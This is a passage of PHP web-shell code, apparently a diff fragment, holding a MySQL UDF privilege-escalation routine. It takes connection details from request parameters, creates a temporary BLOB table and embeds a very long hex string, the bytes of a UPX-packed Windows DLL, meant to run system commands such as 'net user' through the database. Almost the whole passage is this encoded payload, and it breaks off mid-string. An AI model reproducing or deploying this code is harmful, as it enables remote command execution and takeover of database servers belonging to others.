                            +END; +}elseif($o=='tq') +{ +extract($_POST); +extract($_GET); +$post_sql = $post_sql ? $post_sql : "select state(\"net user\")"; +if($install){ + $link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error()); + mysql_select_db($mdata,$link) or die(mysql_error()); + @mysql_query("DROP TABLE udf_temp", $link); + $query="CREATE TABLE udf_temp (udf BLOB);"; +if(!($result=mysql_query($query, $link))) +die('创建临时表失败'.mysql_error()); +else +{ +$code="0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A970902740B20C1E475E06035B6ED2B75E402F4180C7884BDDB61A91B201EF0C41011CD7C37B703EA1402E45015342C9001D94C3E3104306F6B97DA893E7441058B7EFBBB0B97688E3B78FFDD034347C8502DFC54A443DE9D7E328DE9516EA164CF3B1759984FDB962DD802C7155802F4F860A50AC977AC79A5D7193808FBF97DF729B3456313F9E86DEC99D334B75BE01830031706216D30D1354DA4ACE11B7440C6126F55424F490478DC11BA6D6C74898A02FF0EB6300BB90233E098006C4E9468254A90D68C71D8A3AE4A83B557AFA9E0B06AEA7E21B618B714AB63DB43B9833E0D07207FE3B5B628B5908B5CE81A4BE6775DD73831263C1C35100FBE065746CDE7EC505F363FC34BE26D6C3C72BE9F580081008DAE0673520C083B4163B3A177D951FC1C661D6F8DE0B474E8500F41CC5204B4702D700B30027114E0550798688478EAA3365283702294BC5DF20D50600F6E85C0750F6C60A1FBCF373E5333DB391D15B4282D5DC3431B267E44D8B8013D0E74FB768AED8D700C5540785BFF36FFD70810E0916D800A6AFF7604626BC75EEAD59C14433B487CCED915DB812D1BB81D785DF6568CFDDB41DC7078158184FFD6077415CA2083644457D42DB983867CBE100A06FE2B8F3C763BD13474230774741B647413A8AE012344D398367B845CC52BDCFF007CC45A2067C106D76A07845D1003CA44F85083EAC716DE3C856C6C3407753E576A181F3B1A1F3C8BF8D4336A113542FB8D06BC59078C08005957750ADA0E78B31F78893EEB067A1D84D9607F865F281A805E5D60FF57605AA8B11584CC40A48B4F485801B7B87501172BC5D86E2508B00006B41217B770A0FBACC70505A48BBDA118AD96AFC18DB107B88858F0E16FC47314B5042B500C81FAB27207DB210C6FBB14EBE8EC321C556E34D5880C2E6A41DEF22BA3DF60A36A5AAFC2FC57C1EE7F37AA817FCE8B7AFC69C904D24B448D8C8E1A35C50144695D695685463BF80C13F6C1012E757FFDF4B46FFAED3F495F0B0C3BCF76038E8B4C13043B03BFF84D4BF4486783F920731CBF2CD3EFBFFB5FE88D4C01C4D7217CB044FE09752B752139EB2483C1EEC15CB0E01E2D21BCB0C4124AAEF174240679F04D42ADB519DB55890A040803630DDAD6FEBB088C8BFBC1FF044F83FF3F7B865F2F5167A8DBBDE197ECC4422BE20562AEA711A188F8495ADB5AF7E6A464760589F3CA411BFB40ED56E09F3E3BFA76028ABF746B2E9101DB4C69BE51BDBA16B9E491EAD22154111E96900F0BBDD221944C72B66DB152BF49BE4A0B04658BD6CA0811910EECB610F9D40939B68900B2F9295B73DD1B0B26892F0E05087FFB652B974A638A4C0704EF20884D0FFEC1FDEBE2BB880B7325807D0F55BB888BCFD3EBD81A25DB7609190DECB109B10BC436592924DC4FE019D821B8672559040F9D84B7F0DFC0F009388B54D0891A895C13FCFF086BAA0FB348FA4EB09CDFA6AFFFACEE0D0DA80EC1E10F03480CBB03B159E9581653513A1F32068B3D081C0950080E3940DDCDDE0D31A4886C570FFE48431C7BC39F0A481080794313836004FE118378D65AA61D106C5310785A124642882D0910C9F48D72F5388B15F21430C1C2B146DA282BC892110AD307BE708D48145170411C6D428DF767FA85B43B05223518BFEEEFD81496B88905ACEB0324A3AC8935B0493138532A6627F7AE142F68578D3C822C1B8E0ED3C6481776F0176A4934000B6FD57D0E56D3EE83EDFFEE0BE0B899EB1026BE33F6D3E80EC62D3E173049AC0F3BDF7FBF5D58E20873E14BE13B232B23FE0BCF75DDAE718B0B24143B9A1872E707756D26E4FB798BDA3BD8261505EBE6740BD7A019AC24C2837B3C3BD72A68891337EBED2681397B870D1B2FEEDBC8DC7646270B7B85DB90530E61DBE2F6BC595B1089FA43A8386C75EF6E6B071BE91406891DA5148B886F0BB016FAFEFC2D8B8C90C4B6B387FDAD904488378B127011557DA1A156DD1F000E440BD68B563077BF0B75178B91841CFF45FC04BF35EBA6FFFE23390BD774E98B97CA33FF5C5A741B87584D764C57CEE68DBA12C166EC645F9DBAED0AFD7C05D1E147EB752054F9430A2BE956EFEA7FF17BC1FE044EDE3F7EF83AC9DCB85E3BF79B0D0124617421206D207D2B11A27C383AEEFEB69CD3F3EC235C88448903FE0F75EA08B181F48E7B210BEB31172B5CBBC56895A1322119293673148215982C85220AA6D76593C07A04F80095AF3F4735D77A089084C5A97CF10348AD6D420CA522C264A974B32C06FE0B7D29C499C636576A0B331162BFB0CE6EBB64978C093B0A8F097CAEEB2FEF437AC0280D8D4EB6097B04B15C8F74B1BCAD16BEEE09376A2EB7F4AEF70B890A8903FCB2790DBFED56AE03D122011232FC9F8B34126FB70E218D790F3E751AA9B0A011A92BDC4B3BA406A49772C16B119C8D420408A1C41769A10220A489C09A6E6D44B6305F89507250D401E924E15797903B319841A10B889CC0930BF8653DB868C4411B45CBD81233305C81335C89834517F04610742A1B20655783363A63198CB014BDA5461C586460B47CB1856EAD4E24C5897E060562244A196A41B98BC36E74F1E051DF3771C84108343B5A2DDCC54FE043C331B63E6E3769C0815AFB3082C3026CB745EA40080204DE4A1E88D0AD5BFB85C1E7DF790C47A68686BDE88B3B08D13768ED4D2728B28D97101342773C47834BDB8D477748F283887EF4368379778D88FC06C740FCF0420EEFD0E77E01C24804C780E810140517EA0D7E3B48F09676C78B744F0CEDADFBC405F8FC015F2689AC8D4A0C087FB8BD6C8F41649E4442BC9EE38A46438A6F75D78DC80B84C07A884E43A30978047050608CBA2CCB687EA5266189BDC3ABA031BEAB17B614AB5ECCB80002BD063BC67D07EE07DA5BA319DB134451590D8DB535C5949808211256F4A0FA648B9018E21A33C9B874EBB7193D601519890476C020D46CEFC0D50884887CEA1CBA187C8A05A09A5BFE1134B5E055539F8B04865274C3F02F5E586F0A20C220418D82787CD1AD76BBA8A29BAC80448E8C458D3746DD05E97ADEE9B96A61A796EDDF72175F6877102B56F8C03B75466E436659C37CD780A065A52718F8141E1E722A5B76E9225120592139250384205934F449A884E2948073382CC6A1FE435607F644810401741D57A86F7264B348442A7448A3FCC6CF50E245D2C775C00ADB83F4E16C668AE85C39023A3E046A9095C4166A02CBDD6BC416264B1F593BC71C196610672B59CD696F29DA19821C24DFFF1D0A05DCDB4783A383E61FF3EF8A0635FAC7A40CF68064880400C60851AE70BF7F5F597D0FC1768182434EA883C3A8FC63B4B42A197808CA6681660CF7FB3360DBD2525E06900802042A635FC5A8648605C2F6FD1FE5EA460D409C6C48C5F7D8595E1B4B5F015E991B2E0C8957FBF609705C8080F9D53766A908E0B36F1368317B907E2657503BBFADE0401BD00E8B8074DC0DB4EB0E24FD07EB072483CBFF30351A9B81EF8B5FF6F5C154F85CC185B5ACF1279788D15A63F90E7A593917EDF118D97E74A1BBFFCDA30AA57A745FF6401D32AAC18561ECA218591A8517DFBB806DC11830AF01750F505222BC80D608851D37C597B58E4A50FF028B1A7536B654EC020BF841CEB04FF44A9DE370EC463B737C8CB1423914D98487B70160C37402FB5B36E42806FDA08A7477A50538839E890BA9639456E1A05FD68E48A06017858ED552908E4C6B80C4EAAF3109BB47752053951FDA5B57F7079E8D4614759F0658A54A340BA518EB56044261DBB65E097E123E0704C53F7CD5E1EE02115B5F5B5E95DD0001C3A150DC9BBA831B0B3F6116D080660DEE6118962668025B6C02664959538926F4317D0FAF7D10012334068B5B078BDF3C2E9A45D7CE0AA8AE74157E457AFB96A27C4014A78B7781E10868B1ABEDE67429191174229580AB1616697212F863F186A53FA9495C297E393EF62BDF017D321EBC6CD046147246CD63DA56A250177A4E74D391EDADDDBBD2F76B402BFAEB42FBE3F66B1935744701982BD83F1A608976723EB00729D10F234482252450E9D42E4AE0BE169FA44BA586D8080CF1A7264385F0385DD08157106F6A23B633A465C72B7483E7FE545B3CCF56C179148A0141CEF06CA387400E75F1B3ED814975AA01605E2CDD0623955CE88AFC2B32B9A7BA51C724A95E1306B6F57EA30719EBCD8D41FF559CC309824C32C9FEFDFCD126301C8687398FA4DF221A7A0BD2F86E8A073C61051BB4F4741A3C727C3CCC22BFD1D675FE0192EB20C99601EB08B909786157731209405A8A1D473AC31DB46DB6B5E33BD307DB60BEF652DB85C016547F3E601A2B74450475DBD6F21974360E61484CAC1F39FF2C98AD6108A328FC83C920EBB72F7D2063148E10EBA22240757D0BA54D6F0940EB982C7573E993E6006EA0B7FC0F0281CE0DEB82B8BA7D5C782AC8860BC834DB656274BE8BB60DCB2E070B42067540F6C5B6B7D8B7C73B80CD401E63F8752E5FF89315FE0A37E6FFBF9B16175DECD521CE84163A741DD9621B8DD20B418068A4D71362C3242210EA4C917EA9543C7DC4103BCB7D701A2C68DB12B73A896A89588018040859334A6C021C82005196FB871825A0590F8E9D7855AE209F1F3BC374377521509175ACB30D1BB16D14501D16E97FEBC4EBBA3CB1EB446A38C1E602C23268066B62600E56063A65306C327A7815DE4B1B96B3273CFB384F108C5F58DB56B604020CBF1F041C7EA1819D355975CC00D885F6E36DFF118DA424AB8D6406075AD5AA838AE5531FE0FEC7780B3708F7C2DB138A0A4238D974D18437EACF9683511275ED0BD857FBE310281E4BB5560893BFE5F8F18D6E5D33CB0365F983F1FFF0CF33BF3F4A3770C204EEF3751C250674D37F51D83AC508C1B475C45E357E0B5A808C8B42FC38D867A67BD33713EF38DC742717E7C1E81012157BD66E9ADC06D4EB962DB142FE377A38279D06FDFC0494C36B20EE5002FFD0371404E634449EEF32AC0E0400F3C3F32CC015505431F5DF64B1025F0E57299A11FC45438A3999947511064E18C1096C987394302FFE36C50C00E714892290881DC2F5115EDF753C8690D7C58C568D71E2EE112F52F07213AC9A83EE04883CDFC7349073ED5E972018AD20CF57A1102824851B7B7F8D5BC50BA35FC3816A9480BC60711B88116A0DEC08B25DB038E194D7730D70F6B55660C6FB6A192A6339BBB1C935A4F6C08490546A74E2A0D18E50ED8BF06B7875239F5A93565B8490A04018A50A8CFD37333859109C0462BF193868305333528CA116131E782F690E182FD118D1D80D41C3BB505244A06D10F00653BE5660368B9464F20D1CD94730B00D3F8A26684BC9911588EB227536D99B1059ACF545305BC392D09113D0022FDB610D506E746CF12499906D19450D283009999009384098EC9D9044503DEE10560B0EECA4FC00CA5E4F16D4E81A48506896046AD2546CF4691B8DA62874879FD9942100DE784F9B862947731E8085F74FECDD0EFF8BC646050AA127E253F4A8DF24051FEBDE784B518CBAC46620EA001F5B9B86281ABBC6388DD98DDD02AE1A81EA7D0851F8BAB787897C79E3677D56BE4C84983D04CB930D83839A1F6B556AC082C1731C806008F6D6A55960408B0E882481C1806DF5CC31E06D4D7CB76E8B130D1588092ACE4C3B04BCB1508BAAF926388A03BE126DB4BE32527572AABC04ACA41A4123404AFD37E0487D8B0989088A0B88488F05BE558B0AFC3BF77CB485016FF04E5B23333C81FFFDAD50BA3C754D290E2F75056AF658EB099B09BA92C348C397F50DC96E1BD0B84AFF7A175770340A9D800C5B0A25C1068D1B9906804BA40FEFB6700D540A0A700405804383FB6130F2E1037C97B89480B40638B491DEBE7B5E375778A8F0056E4673218D70837BFC00FB7DC26DAC0B7C2083C79683C324C8D00CBA2072E2854824720F338825B85473C487A01D94885B155434811237F8D58DCC6B8A069ED218A996783C3D74A756FA8DC26D4B140AC3E8F9BD581D3F9EF1C63B3BF3318E74410955BF1D267B41381F74395583D8ED8F348BE85945803F49225534521DBBCC54C02E579D4F6C67C4BEFD9A5903FD3775C95DFF84C28934C768BF1D0B891EAE9484015BA2BBB25983BDBE8A98994FC1A75456530DC0A15A84E38FA2848BFE3818747463A5FA7DA307FC5053539F37B4040B0CDB05C90488D486186DD8A46BD6A1082F2700C34A7424864635A6A08D355F485A6C9C9232B1458A68B14C18D147EFF317208321008B7510C700B50156B0802BEF4937A05BFFDFA0AE80382275448A50014080FA22FE84AE1B2FFFD274250FB6D2F68292610425FF012B3B3256FA068A108816F60BD5EBCE0C6E6FA11124CB46401CEB43F2B645C61E05044044DAF683D6DCFD5B1918881E4665207409090870ACF5F20975CC750348C34A66FF9A5AA946B5674EB5E003F0BE66442B052787A281993117C8BC15CE169739FF02FB0885FA5AD0B8225C75C8DA922C7FE1C6AD02752541397D6D0D807801228D86257A6BE31D8BC2EBA3080CF0DB770416180F94C28905D1EB8BD34B88F6EF02F30E4388C6065C46B16AADAE355980A74A4693682E4C67168A3F863D1306ACDBE32E2819E2061F7303C2091B0F400315016B43F850BF38A0300F0E95A9E1EE6EC70383278E140246DDD1306449258F9C5378446DA830D4E06CF633141A8DCD4D04D50E0B49180F407B7B21892858CC428BC6D047F317EA10C700CE1B02433A45DBACA33CE581430C3F27C2BDDD5A3766391E6AEB4040081875F96DFC419F06F22BC6CFCCD1F88E40DA2A5AA3025D038A345852EB0DCCE83BEBAC3213B75683C9AC1C55508D3A57D05C242521D20C10CAB56A90275C2703F6756B0C92C888EB53624CA54A0592B985B1566089DFF6858D740A40387BFB04F62B223760495B6A55CE03F6EB727180A50BBA560F91E248D0CEBAC4BA9E5D5B20070261ED572A381026E821681A536C106A7450A213FF153A152B3859450C163A448330D4653B5BB95BD0D7EC084144F77CF0DE6889F134F18E033B961ACCC230B7471C2A6C45E8F75437E9700D10D77AFA75037A08B60BF18F5CBD59A522560055016B47C1BA30131750E0506DD65B3A3B591257D9BD07A8D6D90B3040963C76291950BBFDBE7076F80D838D6A0303F841DC5739B99D10B3105560FFC05D36763610570C7C1DBC7D36EB9E10FFB6D3C41611681020F8F6B9ACA927945450592C5FEB26165A6C81A38D30C7F23612B1DD0482086AF4D56CC881110FD85EC90E40C128265325F34226D911163C8B14C0012B0C8329EB2D3983D71C90A756F6DC784CC8D5EB7438B125213EF950E99ECEF2B2D61C11A9AEA880643C287BEEFD8DAD8AD73D63F3831881D51404B03582AFB210EA02F01B61E0594E3EE9B3B68D4B38F7881CB50C80F4C025622BC08B03317E30641C5E45AB0EE3A24C96880D535B24C67C80066F04368EC1F10C5229231AE3AEF90F86EAA0ECF1EE5BD5416E2BB64D1073290AD62EB045A58A95F90A7409FFDEBED0F02B0D408808EFC88D95292BCA81F9883D3655127CCC8911DBE3393ABFF4130D6B71FF85A061C634300C6343065FB6F6D20145E8C77C0B0964454510728A9960E96DD98B134E90464868B5BF8B74626A055E39B51D177F2126FC8930EB41B456EBC78D4DF4575CE6BA01B310FF43640B2EBB51CED14FEBA72C9C1EDA241C06E02C9720405AE8A015F52CEA1A10AA6C4FF24D666E1C38EBD2A4F007458258DF02F1B516CC808C6E6DFDFEAD068E6583490C08C741181BEB1103CEDDC80C494114181276D4525CA25E83618A011AE0188DF93B377203DCC883E17018AF362C368AD1A1D81C331340E58CC009FC7591345730E486E0D55BE159519130D716D76A138E1DB69AE51E5B00DE3FB41B155A22DD0CF3A00AE11ABC7A1EFBD82BD7246046735A732844BF5A020BA68FCC6C5DA0702B700C66C8077739D80A6DA14BDD581A58B26575F1A436CF51A08B84600C33C2CFBD1A506820CF118FDC6DCCCC208C4106F80E3A2AD716B6195F41CC00CDFB55B88A6D180B7718CFE8BA37C2F72AF18BD8090C07D31139A050D60C3215FCFFCF4913D1E9D1DBD1EAD1D80BC975F4F7F3B014B9B684643D2150F7EDEEBB2F7DD1720E3B27770872073B2B76014E4C4B56D84A7FDEC27F6F2A0E7AB3D96E506EA833B6517405C203506E10DD66C85E0C156EC814910410BA37CD606B0C0E0876082BBB1B406CA6DB11140708BDDA264103BB27DA007C3F26A8742AA6443D71A376E9C18BD1783BFE3DEF0F82800E036A738314ED6F4BDC8183E2EEF95E29F3A5FF249513A9F1DFD6426811BA1C83E904720C0CB136DB8F62C86D41801E8D789075F3B9C70741FC900403BCE023D173DB852F1188078A46BE470105025608938C2D5B59C6C75CCC8D96652CD949002B25010202EBCE2679A690234621473F5DD70DE48C065F034C0744374DD3343C342C241C8B44344DD3FC8EE489448FE4E8E8ECECD3344DD3F0F0F4F4F8CD39324DF8FCBDD7007B87B01027F809FFF00305399AA6808CA0BC6C36B0D766909D0BF91133240417A30D0A2BB8555B0D2531C639FCD8F692417F240DFDE3FC77823BC2E54400F7D96543B04B8F779E9C1CF92B43082CC2D6745D900B180338606D033A02F275B76F034E584F56B6B74B08F6971FA3EE02EF026FD9807C298C902724E3952D09AB2D03AE45EB1666625A955B7FB4